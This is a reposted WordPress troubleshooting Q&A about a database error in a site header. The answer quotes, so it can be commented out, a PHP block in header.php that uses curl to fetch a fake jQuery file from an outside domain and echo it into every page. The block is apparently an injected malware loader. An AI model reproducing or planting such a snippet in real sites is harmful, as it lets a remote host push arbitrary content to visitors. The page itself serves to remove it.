无法连接到数据库服务器。无法找到数据库jimbob_jc [英] Couldn't connect to database server.Couldn't find database jimbob_jc

查看:195
本文介绍了无法连接到数据库服务器。无法找到数据库jimbob_jc的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我需要你的建议。

我使用wordpress,我在标题上有以下错误信息:

I'm using wordpress, and i got error on header with following message:

*Couldn't connect to database server.Couldn't find database jimbob_jc.
 An unexpected problem has occured with the application. 
 SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = '';*

这是什么意思?如何解决?

What's that mean? How do I fix it?

我搜索过Google,但我对其他类似问题没有成功。

I have searched Google but I've not had any success with others having similar problems.

推荐答案

注释掉header.php文件中的以下代码。

Comment out the following code in the header.php file.

<?php
  if(function_exists('curl_init'))
  {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();  
    $timeout = 5;  

    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  

    curl_close($ch); 
    echo "$data";
  }
?>

这篇关于无法连接到数据库服务器。无法找到数据库jimbob_jc的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆